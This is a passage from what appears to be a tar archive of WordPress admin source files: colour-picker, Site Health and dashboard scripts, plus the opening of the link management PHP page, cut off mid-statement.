id="wp-responsive-overlay"></div>').insertAfter("#wpcontent").hide().on("click.wp-responsive",function(){h.find(".menupop.hover").removeClass("hover"),B(this).hide()})),f.on("click.wp-responsive",function(){m.show()})},disableOverlay:function(){f.off("click.wp-responsive"),m.hide()},disableSortables:function(){if(g.length)try{g.sortable("disable"),g.find(".ui-sortable-handle").addClass("is-non-sortable")}catch(e){}},enableSortables:function(){if(g.length)try{g.sortable("enable"),g.find(".ui-sortable-handle").removeClass("is-non-sortable")}catch(e){}}},B(document).on("ajaxComplete",function(){U()}),$.on("wp-window-resized.set-menu-state",K),$.on("wp-menu-state-set wp-collapse-menu",function(e,t){var n,i=B("#collapse-button"),t="folded"===t.state?(n="false",Q("Expand Main menu")):(n="true",Q("Collapse Main menu"));i.attr({"aria-expanded":n,"aria-label":t})}),W.wpResponsive.init(),j(),K(),P(),U(),$.on("wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu",j),B(".wp-initial-focus").trigger("focus"),q.on("click",".js-update-details-toggle",function(){var e=B(this).closest(".js-update-details"),t=B("#"+e.data("update-details"));t.hasClass("update-details-moved")||t.insertAfter(e).addClass("update-details-moved"),t.toggle(),B(this).attr("aria-expanded",t.is(":visible"))})}),B(function(e){var t,n;q.hasClass("update-php")&&(t=e("a.update-from-upload-overwrite"),n=e(".update-from-upload-expired"),t.length)&&n.length&&W.setTimeout(function(){t.hide(),n.removeClass("hidden"),W.wp&&W.wp.a11y&&W.wp.a11y.speak(n.text())},714e4)}),H.on("resize.wp-fire-once",function(){W.clearTimeout(t),t=W.setTimeout(d,200)}),"-ms-user-select"in document.documentElement.style&&navigator.userAgent.match(/IEMobile\/10\.0/)&&((n=document.createElement("style")).appendChild(document.createTextNode("@-ms-viewport{width:auto!important}")),document.getElementsByTagName("head")[0].appendChild(n))}(jQuery,window),function(){var e,i={},o={};i.pauseAll=!1,!window.matchMedia||(e=window.matchMedia("(prefers-reduced-motion: reduce)"))&&!e.matches||(i.pauseAll=!0),i.freezeAnimatedPluginIcons=function(l){function e(){var e=l.width,t=l.height,n=document.createElement("canvas");if(n.width=e,n.height=t,n.className=l.className,l.closest("#update-plugins-table"))for(var i=window.getComputedStyle(l),o=0,a=i.length;o<a;o++){var s=i[o],r=i.getPropertyValue(s);n.style[s]=r}n.getContext("2d").drawImage(l,0,0,e,t),n.setAttribute("aria-hidden","true"),n.setAttribute("role","presentation"),l.parentNode.insertBefore(n,l),l.style.opacity=.01,l.style.width="0px",l.style.height="0px"}l.complete?e():l.addEventListener("load",e,!0)},o.freezeAll=function(){for(var e=document.querySelectorAll(".plugin-icon, #update-plugins-table img"),t=0;t<e.length;t++)/\.gif(?:\?|$)/i.test(e[t].src)&&i.freezeAnimatedPluginIcons(e[t])},!0===i.pauseAll&&o.freezeAll(),e=jQuery,"plugin-install"===window.pagenow&&e(document).ajaxComplete(function(e,t,n){n.data&&"string"==typeof n.data&&n.data.includes("action=search-install-plugins")&&(window.matchMedia?window.matchMedia("(prefers-reduced-motion: reduce)").matches&&o.freezeAll():!0===i.pauseAll&&o.freezeAll())})}(); js/color-picker.js 0000644 00000023050 15233246127 0010114 0 ustar 00 /** * @output wp-admin/js/color-picker.js */ ( function( $, undef ) { var ColorPicker, _before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>', _after = '<div class="wp-picker-holder" />', _wrap = '<div class="wp-picker-container" />', _button = '<input type="button" class="button button-small" />', _wrappingLabel = '<label></label>', _wrappingLabelText = '<span class="screen-reader-text"></span>', __ = wp.i18n.__; /** * Creates a jQuery UI color picker that is used in the theme customizer. * * @class $.widget.wp.wpColorPicker * * @since 3.5.0 */ ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{ options: { defaultColor: false, change: false, clear: false, hide: true, palettes: true, width: 255, mode: 'hsv', type: 'full', slider: 'horizontal' }, /** * Creates a color picker that only allows you to adjust the hue. * * @since 3.5.0 * @access private * * @return {void} */ _createHueOnly: function() { var self = this, el = self.element, color; el.hide(); // Set the saturation to the maximum level. color = 'hsl(' + el.val() + ', 100, 50)'; // Create an instance of the color picker, using the hsl mode. el.iris( { mode: 'hsl', type: 'hue', hide: false, color: color, /** * Handles the onChange event if one has been defined in the options. * * @ignore * * @param {Event} event The event that's being called. * @param {HTMLElement} ui The HTMLElement containing the color picker. * * @return {void} */ change: function( event, ui ) { if ( typeof self.options.change === 'function' ) { self.options.change.call( this, event, ui ); } }, width: self.options.width, slider: self.options.slider } ); }, /** * Creates the color picker, sets default values, css classes and wraps it all in HTML. * * @since 3.5.0 * @access private * * @return {void} */ _create: function() { // Return early if Iris support is missing. if ( ! $.support.iris ) { return; } var self = this, el = self.element; // Override default options with options bound to the element. $.extend( self.options, el.data() ); // Create a color picker which only allows adjustments to the hue. if ( self.options.type === 'hue' ) { return self._createHueOnly(); } // Bind the close event. self.close = self.close.bind( self ); self.initialValue = el.val(); // Add a CSS class to the input field. el.addClass( 'wp-color-picker' ); /* * Check if there's already a wrapping label, e.g. in the Customizer. * If there's no label, add a default one to match the Customizer template. */ if ( ! el.parent( 'label' ).length ) { // Wrap the input field in the default label. el.wrap( _wrappingLabel ); // Insert the default label text. self.wrappingLabelText = $( _wrappingLabelText ) .insertBefore( el ) .text( __( 'Color value' ) ); } /* * At this point, either it's the standalone version or the Customizer * one, we have a wrapping label to use as hook in the DOM, let's store it. */ self.wrappingLabel = el.parent(); // Wrap the label in the main wrapper. self.wrappingLabel.wrap( _wrap ); // Store a reference to the main wrapper. self.wrap = self.wrappingLabel.parent(); // Set up the toggle button and insert it before the wrapping label. self.toggler = $( _before ) .insertBefore( self.wrappingLabel ) .css( { backgroundColor: self.initialValue } ); // Set the toggle button span element text. self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) ); // Set up the Iris container and insert it after the wrapping label. self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel ); // Store a reference to the Clear/Default button. self.button = $( _button ); // Set up the Clear/Default button. if ( self.options.defaultColor ) { self.button .addClass( 'wp-picker-default' ) .val( __( 'Default' ) ) .attr( 'aria-label', __( 'Select default color' ) ); } else { self.button .addClass( 'wp-picker-clear' ) .val( __( 'Clear' ) ) .attr( 'aria-label', __( 'Clear color' ) ); } // Wrap the wrapping label in its wrapper and append the Clear/Default button. self.wrappingLabel .wrap( '<span class="wp-picker-input-wrap hidden" />' ) .after( self.button ); /* * The input wrapper now contains the label+input+Clear/Default button. * Store a reference to the input wrapper: we'll use this to toggle * the controls visibility. */ self.inputWrapper = el.closest( '.wp-picker-input-wrap' ); el.iris( { target: self.pickerContainer, hide: self.options.hide, width: self.options.width, mode: self.options.mode, palettes: self.options.palettes, /** * Handles the onChange event if one has been defined in the options and additionally * sets the background color for the toggler element. * * @since 3.5.0 * * @ignore * * @param {Event} event The event that's being called. * @param {HTMLElement} ui The HTMLElement containing the color picker. * * @return {void} */ change: function( event, ui ) { self.toggler.css( { backgroundColor: ui.color.toString() } ); if ( typeof self.options.change === 'function' ) { self.options.change.call( this, event, ui ); } } } ); el.val( self.initialValue ); self._addListeners(); // Force the color picker to always be closed on initial load. if ( ! self.options.hide ) { self.toggler.click(); } }, /** * Binds event listeners to the color picker. * * @since 3.5.0 * @access private * * @return {void} */ _addListeners: function() { var self = this; /** * Prevent any clicks inside this widget from leaking to the top and closing it. * * @since 3.5.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.wrap.on( 'click.wpcolorpicker', function( event ) { event.stopPropagation(); }); /** * Open or close the color picker depending on the class. * * @since 3.5.0 */ self.toggler.on( 'click', function(){ if ( self.toggler.hasClass( 'wp-picker-open' ) ) { self.close(); } else { self.open(); } }); /** * Checks if value is empty when changing the color in the color picker. * If so, the background color is cleared. * * @since 3.5.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.element.on( 'change', function( event ) { var me = $( this ), val = me.val(); if ( val === '' || val === '#' ) { self.toggler.css( 'backgroundColor', '' ); // Fire clear callback if we have one. if ( typeof self.options.clear === 'function' ) { self.options.clear.call( this, event ); } } }); /** * Enables the user to either clear the color in the color picker or revert back to the default color. * * @since 3.5.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.button.on( 'click', function( event ) { var me = $( this ); if ( me.hasClass( 'wp-picker-clear' ) ) { self.element.val( '' ); self.toggler.css( 'backgroundColor', '' ); if ( typeof self.options.clear === 'function' ) { self.options.clear.call( this, event ); } } else if ( me.hasClass( 'wp-picker-default' ) ) { self.element.val( self.options.defaultColor ).change(); } }); }, /** * Opens the color picker dialog. * * @since 3.5.0 * * @return {void} */ open: function() { this.element.iris( 'toggle' ); this.inputWrapper.removeClass( 'hidden' ); this.wrap.addClass( 'wp-picker-active' ); this.toggler .addClass( 'wp-picker-open' ) .attr( 'aria-expanded', 'true' ); $( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close ); }, /** * Closes the color picker dialog. * * @since 3.5.0 * * @return {void} */ close: function() { this.element.iris( 'toggle' ); this.inputWrapper.addClass( 'hidden' ); this.wrap.removeClass( 'wp-picker-active' ); this.toggler .removeClass( 'wp-picker-open' ) .attr( 'aria-expanded', 'false' ); $( 'body' ).off( 'click.wpcolorpicker', this.close ); }, /** * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color. * * @param newColor {string|*} The new color to use. Can be undefined. * * @since 3.5.0 * * @return {string} The element's color. */ color: function( newColor ) { if ( newColor === undef ) { return this.element.iris( 'option', 'color' ); } this.element.iris( 'option', 'color', newColor ); }, /** * Returns the iris object if no new default color is provided. * If a new default color is provided, it sets the new default color. * * @param newDefaultColor {string|*} The new default color to use. Can be undefined. * * @since 3.5.0 * * @return {boolean|string} The element's color. */ defaultColor: function( newDefaultColor ) { if ( newDefaultColor === undef ) { return this.options.defaultColor; } this.options.defaultColor = newDefaultColor; } }; // Register the color picker as a widget. $.widget( 'wp.wpColorPicker', ColorPicker ); }( jQuery ) ); js/site-health.js 0000644 00000033070 15233246127 0007735 0 ustar 00 /** * Interactions used by the Site Health modules in WordPress. * * @output wp-admin/js/site-health.js */ /* global ajaxurl, ClipboardJS, SiteHealth, wp */ jQuery( function( $ ) { var __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf, clipboard = new ClipboardJS( '.site-health-copy-buttons .copy-button' ), isStatusTab = $( '.health-check-body.health-check-status-tab' ).length, isDebugTab = $( '.health-check-body.health-check-debug-tab' ).length, pathsSizesSection = $( '#health-check-accordion-block-wp-paths-sizes' ), menuCounterWrapper = $( '#adminmenu .site-health-counter' ), menuCounter = $( '#adminmenu .site-health-counter .count' ), successTimeout; // Debug information copy section. clipboard.on( 'success', function( e ) { var triggerElement = $( e.trigger ), successElement = $( '.success', triggerElement.closest( 'div' ) ); // Clear the selection and move focus back to the trigger. e.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'Site information has been copied to your clipboard.' ) ); } ); // Accordion handling in various areas. $( '.health-check-accordion' ).on( 'click', '.health-check-accordion-trigger', function() { var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) ); if ( $( this ).prop( 'id' ) ) { window.location.hash = $( this ).prop( 'id' ); } if ( isExpanded ) { $( this ).attr( 'aria-expanded', 'false' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true ); } else { $( this ).attr( 'aria-expanded', 'true' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false ); } } ); /* global setTimeout */ wp.domReady( function() { // Get hash from query string and open the related accordion. var hash = window.location.hash; if ( hash ) { var requestedPanel = $( hash ); if ( requestedPanel.is( '.health-check-accordion-trigger' ) ) { requestedPanel.trigger( 'click' ); } } } ); // Site Health test handling. $( '.site-health-view-passed' ).on( 'click', function() { var goodIssuesWrapper = $( '#health-check-issues-good' ); goodIssuesWrapper.toggleClass( 'hidden' ); $( this ).attr( 'aria-expanded', ! goodIssuesWrapper.hasClass( 'hidden' ) ); } ); /** * Validates the Site Health test result format. * * @since 5.6.0 * * @param {Object} issue * * @return {boolean} */ function validateIssueData( issue ) { // Expected minimum format of a valid SiteHealth test response. var minimumExpected = { test: 'string', label: 'string', description: 'string' }, passed = true, key, value, subKey, subValue; // If the issue passed is not an object, return a `false` state early. if ( 'object' !== typeof( issue ) ) { return false; } // Loop over expected data and match the data types. for ( key in minimumExpected ) { value = minimumExpected[ key ]; if ( 'object' === typeof( value ) ) { for ( subKey in value ) { subValue = value[ subKey ]; if ( 'undefined' === typeof( issue[ key ] ) || 'undefined' === typeof( issue[ key ][ subKey ] ) || subValue !== typeof( issue[ key ][ subKey ] ) ) { passed = false; } } } else { if ( 'undefined' === typeof( issue[ key ] ) || value !== typeof( issue[ key ] ) ) { passed = false; } } } return passed; } /** * Appends a new issue to the issue list. * * @since 5.2.0 * * @param {Object} issue The issue data. */ function appendIssue( issue ) { var template = wp.template( 'health-check-issue' ), issueWrapper = $( '#health-check-issues-' + issue.status ), heading, count; /* * Validate the issue data format before using it. * If the output is invalid, discard it. */ if ( ! validateIssueData( issue ) ) { return false; } SiteHealth.site_status.issues[ issue.status ]++; count = SiteHealth.site_status.issues[ issue.status ]; // If no test name is supplied, append a placeholder for markup references. if ( typeof issue.test === 'undefined' ) { issue.test = issue.status + count; } if ( 'critical' === issue.status ) { heading = sprintf( _n( '%s critical issue', '%s critical issues', count ), '<span class="issue-count">' + count + '</span>' ); } else if ( 'recommended' === issue.status ) { heading = sprintf( _n( '%s recommended improvement', '%s recommended improvements', count ), '<span class="issue-count">' + count + '</span>' ); } else if ( 'good' === issue.status ) { heading = sprintf( _n( '%s item with no issues detected', '%s items with no issues detected', count ), '<span class="issue-count">' + count + '</span>' ); } if ( heading ) { $( '.site-health-issue-count-title', issueWrapper ).html( heading ); } menuCounter.text( SiteHealth.site_status.issues.critical ); if ( 0 < parseInt( SiteHealth.site_status.issues.critical, 0 ) ) { $( '#health-check-issues-critical' ).removeClass( 'hidden' ); menuCounterWrapper.removeClass( 'count-0' ); } else { menuCounterWrapper.addClass( 'count-0' ); } if ( 0 < parseInt( SiteHealth.site_status.issues.recommended, 0 ) ) { $( '#health-check-issues-recommended' ).removeClass( 'hidden' ); } $( '.issues', '#health-check-issues-' + issue.status ).append( template( issue ) ); } /** * Updates site health status indicator as asynchronous tests are run and returned. * * @since 5.2.0 */ function recalculateProgression() { var r, c, pct; var $progress = $( '.site-health-progress' ); var $wrapper = $progress.closest( '.site-health-progress-wrapper' ); var $progressLabel = $( '.site-health-progress-label', $wrapper ); var $circle = $( '.site-health-progress svg #bar' ); var totalTests = parseInt( SiteHealth.site_status.issues.good, 0 ) + parseInt( SiteHealth.site_status.issues.recommended, 0 ) + ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 ); var failedTests = ( parseInt( SiteHealth.site_status.issues.recommended, 0 ) * 0.5 ) + ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 ); var val = 100 - Math.ceil( ( failedTests / totalTests ) * 100 ); if ( 0 === totalTests ) { $progress.addClass( 'hidden' ); return; } $wrapper.removeClass( 'loading' ); r = $circle.attr( 'r' ); c = Math.PI * ( r * 2 ); if ( 0 > val ) { val = 0; } if ( 100 < val ) { val = 100; } pct = ( ( 100 - val ) / 100 ) * c + 'px'; $circle.css( { strokeDashoffset: pct } ); if ( 80 <= val && 0 === parseInt( SiteHealth.site_status.issues.critical, 0 ) ) { $wrapper.addClass( 'green' ).removeClass( 'orange' ); $progressLabel.text( __( 'Good' ) ); announceTestsProgression( 'good' ); } else { $wrapper.addClass( 'orange' ).removeClass( 'green' ); $progressLabel.text( __( 'Should be improved' ) ); announceTestsProgression( 'improvable' ); } if ( isStatusTab ) { $.post( ajaxurl, { 'action': 'health-check-site-status-result', '_wpnonce': SiteHealth.nonce.site_status_result, 'counts': SiteHealth.site_status.issues } ); if ( 100 === val ) { $( '.site-status-all-clear' ).removeClass( 'hide' ); $( '.site-status-has-issues' ).addClass( 'hide' ); } } } /** * Queues the next asynchronous test when we're ready to run it. * * @since 5.2.0 */ function maybeRunNextAsyncTest() { var doCalculation = true; if ( 1 <= SiteHealth.site_status.async.length ) { $.each( SiteHealth.site_status.async, function() { var data = { 'action': 'health-check-' + this.test.replace( '_', '-' ), '_wpnonce': SiteHealth.nonce.site_status }; if ( this.completed ) { return true; } doCalculation = false; this.completed = true; if ( 'undefined' !== typeof( this.has_rest ) && this.has_rest ) { wp.apiRequest( { url: wp.url.addQueryArgs( this.test, { _locale: 'user' } ), headers: this.headers } ) .done( function( response ) { /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response ) ); } ) .fail( function( response ) { var description; if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) { description = response.responseJSON.message; } else { description = __( 'No details available' ); } addFailedSiteHealthCheckNotice( this.url, description ); } ) .always( function() { maybeRunNextAsyncTest(); } ); } else { $.post( ajaxurl, data ).done( function( response ) { /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response.data ) ); } ).fail( function( response ) { var description; if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) { description = response.responseJSON.message; } else { description = __( 'No details available' ); } addFailedSiteHealthCheckNotice( this.url, description ); } ).always( function() { maybeRunNextAsyncTest(); } ); } return false; } ); } if ( doCalculation ) { recalculateProgression(); } } /** * Add the details of a failed asynchronous test to the list of test results. * * @since 5.6.0 */ function addFailedSiteHealthCheckNotice( url, description ) { var issue; issue = { 'status': 'recommended', 'label': __( 'A test is unavailable' ), 'badge': { 'color': 'red', 'label': __( 'Unavailable' ) }, 'description': '<p>' + url + '</p><p>' + description + '</p>', 'actions': '' }; /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', issue ) ); } if ( 'undefined' !== typeof SiteHealth ) { if ( 0 === SiteHealth.site_status.direct.length && 0 === SiteHealth.site_status.async.length ) { recalculateProgression(); } else { SiteHealth.site_status.issues = { 'good': 0, 'recommended': 0, 'critical': 0 }; } if ( 0 < SiteHealth.site_status.direct.length ) { $.each( SiteHealth.site_status.direct, function() { appendIssue( this ); } ); } if ( 0 < SiteHealth.site_status.async.length ) { maybeRunNextAsyncTest(); } else { recalculateProgression(); } } function getDirectorySizes() { var timestamp = ( new Date().getTime() ); // After 3 seconds announce that we're still waiting for directory sizes. var timeout = window.setTimeout( function() { announceTestsProgression( 'waiting-for-directory-sizes' ); }, 3000 ); wp.apiRequest( { path: '/wp-site-health/v1/directory-sizes' } ).done( function( response ) { updateDirSizes( response || {} ); } ).always( function() { var delay = ( new Date().getTime() ) - timestamp; $( '.health-check-wp-paths-sizes.spinner' ).css( 'visibility', 'hidden' ); if ( delay > 3000 ) { /* * We have announced that we're waiting. * Announce that we're ready after giving at least 3 seconds * for the first announcement to be read out, or the two may collide. */ if ( delay > 6000 ) { delay = 0; } else { delay = 6500 - delay; } window.setTimeout( function() { recalculateProgression(); }, delay ); } else { // Cancel the announcement. window.clearTimeout( timeout ); } $( document ).trigger( 'site-health-info-dirsizes-done' ); } ); } function updateDirSizes( data ) { var copyButton = $( 'button.button.copy-button' ); var clipboardText = copyButton.attr( 'data-clipboard-text' ); $.each( data, function( name, value ) { var text = value.debug || value.size; if ( typeof text !== 'undefined' ) { clipboardText = clipboardText.replace( name + ': loading...', name + ': ' + text ); } } ); copyButton.attr( 'data-clipboard-text', clipboardText ); pathsSizesSection.find( 'td[class]' ).each( function( i, element ) { var td = $( element ); var name = td.attr( 'class' ); if ( data.hasOwnProperty( name ) && data[ name ].size ) { td.text( data[ name ].size ); } } ); } if ( isDebugTab ) { if ( pathsSizesSection.length ) { getDirectorySizes(); } else { recalculateProgression(); } } // Trigger a class toggle when the extended menu button is clicked. $( '.health-check-offscreen-nav-wrapper' ).on( 'click', function() { $( this ).toggleClass( 'visible' ); } ); /** * Announces to assistive technologies the tests progression status. * * @since 6.4.0 * * @param {string} type The type of message to be announced. * * @return {void} */ function announceTestsProgression( type ) { // Only announce the messages in the Site Health pages. if ( 'site-health' !== SiteHealth.screen ) { return; } switch ( type ) { case 'good': wp.a11y.speak( __( 'All site health tests have finished running. Your site is looking good.' ) ); break; case 'improvable': wp.a11y.speak( __( 'All site health tests have finished running. There are items that should be addressed.' ) ); break; case 'waiting-for-directory-sizes': wp.a11y.speak( __( 'Running additional tests... please wait.' ) ); break; default: return; } } } ); js/dashboard.min.js 0000644 00000021236 15233246127 0010240 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},window.communityEventsData=window.communityEventsData||{},jQuery(function(s){var t,n=s("#welcome-panel"),e=s("#wp_welcome_panel-hide");t=function(e){s.post(ajaxurl,{action:"update-welcome-panel",visible:e,welcomepanelnonce:s("#welcomepanelnonce").val()},function(){wp.a11y.speak(wp.i18n.__("Screen Options updated."))})},n.hasClass("hidden")&&e.prop("checked")&&n.removeClass("hidden"),s(".welcome-panel-close, .welcome-panel-dismiss a",n).on("click",function(e){e.preventDefault(),n.addClass("hidden"),t(0),s("#wp_welcome_panel-hide").prop("checked",!1)}),e.on("click",function(){n.toggleClass("hidden",!this.checked),t(this.checked?1:0)}),window.ajaxWidgets=["dashboard_primary"],window.ajaxPopulateWidgets=function(e){function t(e,t){var n,o=s("#"+t+" div.inside:visible").find(".widget-loading");o.length&&(n=o.parent(),setTimeout(function(){n.load(ajaxurl+"?action=dashboard-widgets&widget="+t+"&pagenow="+pagenow,"",function(){n.hide().slideDown("normal",function(){s(this).css("display","")})})},500*e))}e?(e=e.toString(),-1!==s.inArray(e,ajaxWidgets)&&t(0,e)):s.each(ajaxWidgets,t)},ajaxPopulateWidgets(),postboxes.add_postbox_toggles(pagenow,{pbshow:ajaxPopulateWidgets}),window.quickPressLoad=function(){var t,n,o,i,a,e=s("#quickpost-action");s('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop("disabled",!1),t=s("#quick-press").on("submit",function(e){e.preventDefault(),s("#dashboard_quick_press #publishing-action .spinner").show(),s('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop("disabled",!0),s.post(t.attr("action"),t.serializeArray(),function(e){var t;s("#dashboard_quick_press .inside").html(e),s("#quick-press").removeClass("initial-form"),quickPressLoad(),(t=s(".drafts ul li").first()).css("background","#fffbe5"),setTimeout(function(){t.css("background","none")},1e3),s("#title").trigger("focus")})}),s("#publish").on("click",function(){e.val("post-quickpress-publish")}),s("#quick-press").on("click focusin",function(){wpActiveEditor="content"}),document.documentMode&&document.documentMode<9||(s("body").append('<div class="quick-draft-textarea-clone" style="display: none;"></div>'),n=s(".quick-draft-textarea-clone"),o=s("#content"),i=o.height(),a=s(window).height()-100,n.css({"font-family":o.css("font-family"),"font-size":o.css("font-size"),"line-height":o.css("line-height"),"padding-bottom":o.css("paddingBottom"),"padding-left":o.css("paddingLeft"),"padding-right":o.css("paddingRight"),"padding-top":o.css("paddingTop"),"white-space":"pre-wrap","word-wrap":"break-word",display:"none"}),o.on("focus input propertychange",function(){var e=s(this),t=e.val()+" ",t=n.css("width",e.css("width")).text(t).outerHeight()+2;o.css("overflow-y","auto"),t===i||a<=t&&a<=i||(i=a<t?a:t,o.css("overflow","hidden"),e.css("height",i+"px"))}))},window.quickPressLoad(),s(".meta-box-sortables").sortable("option","containment","#wpwrap")}),jQuery(function(c){"use strict";var r=window.communityEventsData,s=wp.date.dateI18n,m=wp.date.format,d=wp.i18n.sprintf,u=wp.i18n.__,l=wp.i18n._x,p=window.wp.communityEvents={initialized:!1,model:null,init:function(){var e;p.initialized||(e=c("#community-events"),c(".community-events-errors").attr("aria-hidden","true").removeClass("hide-if-js"),e.on("click",".community-events-toggle-location, .community-events-cancel",p.toggleLocationForm),e.on("submit",".community-events-form",function(e){var t=c("#community-events-location").val().trim();e.preventDefault(),t&&p.getEvents({location:t})}),r&&r.cache&&r.cache.location&&r.cache.events?p.renderEventsTemplate(r.cache,"app"):p.getEvents(),p.initialized=!0)},toggleLocationForm:function(e){var t=c(".community-events-toggle-location"),n=c(".community-events-cancel"),o=c(".community-events-form"),i=c();"object"==typeof e&&(i=c(e.target),e="true"==t.attr("aria-expanded")?"hide":"show"),"hide"===e?(t.attr("aria-expanded","false"),n.attr("aria-expanded","false"),o.attr("aria-hidden","true"),i.hasClass("community-events-cancel")&&t.trigger("focus")):(t.attr("aria-expanded","true"),n.attr("aria-expanded","true"),o.attr("aria-hidden","false"))},getEvents:function(t){var n,o=this,e=c(".community-events-form").children(".spinner");(t=t||{})._wpnonce=r.nonce,t.timezone=window.Intl?window.Intl.DateTimeFormat().resolvedOptions().timeZone:"",n=t.location?"user":"app",e.addClass("is-active"),wp.ajax.post("get-community-events",t).always(function(){e.removeClass("is-active")}).done(function(e){"no_location_available"===e.error&&(t.location?e.unknownCity=t.location:delete e.error),o.renderEventsTemplate(e,n)}).fail(function(){o.renderEventsTemplate({location:!1,events:[],error:!0},n)})},renderEventsTemplate:function(e,t){var n,o,i=c(".community-events-toggle-location"),a=c("#community-events-location-message"),s=c(".community-events-results");e.events=p.populateDynamicEventFields(e.events,r.time_format),o={".community-events":!0,".community-events-loading":!1,".community-events-errors":!1,".community-events-error-occurred":!1,".community-events-could-not-locate":!1,"#community-events-location-message":!1,".community-events-toggle-location":!1,".community-events-results":!1},e.location.ip?(a.text(u("Attend an upcoming event near you.")),n=e.events.length?wp.template("community-events-event-list"):wp.template("community-events-no-upcoming-events"),s.html(n(e)),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0,o[".community-events-results"]=!0):e.location.description?(n=wp.template("community-events-attend-event-near"),a.html(n(e)),n=e.events.length?wp.template("community-events-event-list"):wp.template("community-events-no-upcoming-events"),s.html(n(e)),"user"===t&&wp.a11y.speak(d(u("City updated. Listing events near %s."),e.location.description),"assertive"),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0,o[".community-events-results"]=!0):e.unknownCity?(n=wp.template("community-events-could-not-locate"),c(".community-events-could-not-locate").html(n(e)),wp.a11y.speak(d(u("We couldn\u2019t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland."),e.unknownCity)),o[".community-events-errors"]=!0,o[".community-events-could-not-locate"]=!0):e.error&&"user"===t?(wp.a11y.speak(u("An error occurred. Please try again.")),o[".community-events-errors"]=!0,o[".community-events-error-occurred"]=!0):(a.text(u("Enter your closest city to find nearby events.")),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0),_.each(o,function(e,t){c(t).attr("aria-hidden",!e)}),i.attr("aria-expanded",o[".community-events-toggle-location"]),e.location&&(e.location.ip||e.location.latitude)?(p.toggleLocationForm("hide"),"user"===t&&i.trigger("focus")):p.toggleLocationForm("show")},populateDynamicEventFields:function(e,o){e=JSON.parse(JSON.stringify(e));return c.each(e,function(e,t){var n=p.getTimeZone(1e3*t.start_unix_timestamp);t.user_formatted_date=p.getFormattedDate(1e3*t.start_unix_timestamp,1e3*t.end_unix_timestamp,n),t.user_formatted_time=s(o,1e3*t.start_unix_timestamp,n),t.timeZoneAbbreviation=p.getTimeZoneAbbreviation(1e3*t.start_unix_timestamp)}),e},getTimeZone:function(e){var t=Intl.DateTimeFormat().resolvedOptions().timeZone;return t=void 0===t?p.getFlippedTimeZoneOffset(e):t},getFlippedTimeZoneOffset:function(e){return-1*new Date(e).getTimezoneOffset()},getTimeZoneAbbreviation:function(e){var t,n=new Date(e).toLocaleTimeString(void 0,{timeZoneName:"short"}).split(" ");return void 0===(t=3===n.length?n[2]:t)&&(n=p.getFlippedTimeZoneOffset(e),e=-1===Math.sign(n)?"":"+",t=l("GMT","Events widget offset prefix")+e+n/60),t},getFormattedDate:function(e,t,n){var o=u("l, M j, Y"),i=u("%1$s %2$d\u2013%3$d, %4$d"),a=u("%1$s %2$d \u2013 %3$s %4$d, %5$d"),i=t&&m("Y-m-d",e)!==m("Y-m-d",t)?m("Y-m",e)===m("Y-m",t)?d(i,s(l("F","upcoming events month format"),e,n),s(l("j","upcoming events day format"),e,n),s(l("j","upcoming events day format"),t,n),s(l("Y","upcoming events year format"),t,n)):d(a,s(l("F","upcoming events month format"),e,n),s(l("j","upcoming events day format"),e,n),s(l("F","upcoming events month format"),t,n),s(l("j","upcoming events day format"),t,n),s(l("Y","upcoming events year format"),t,n)):s(o,e,n);return i}};c("#dashboard_primary").is(":visible")?p.init():c(document).on("postbox-toggled",function(e,t){t=c(t);"dashboard_primary"===t.attr("id")&&t.is(":visible")&&p.init()})}),window.communityEventsData.l10n=window.communityEventsData.l10n||{enter_closest_city:"",error_occurred_please_try_again:"",attend_event_near_generic:"",could_not_locate_city:"",city_updated:""},window.communityEventsData.l10n=window.wp.deprecateL10nObject("communityEventsData.l10n",window.communityEventsData.l10n,"5.6.0"); link.php 0000644 00000005615 15233246127 0006226 0 ustar 00 <?php /** * Manage link administration actions. * * This page is accessed by the link management pages and handles the forms and * Ajax processes for link actions. * * @package WordPress * @subpackage Administration */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; $action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field( $_REQUEST['action'] ) : ''; $cat_id = ! empty( $_REQUEST['cat_id'] ) ? absint( $_REQUEST['cat_id'] ) : 0; $link_id = ! empty( $_REQUEST['link_id'] ) ? absint( $_REQUEST['link_id'] ) : 0; if ( ! current_user_can( 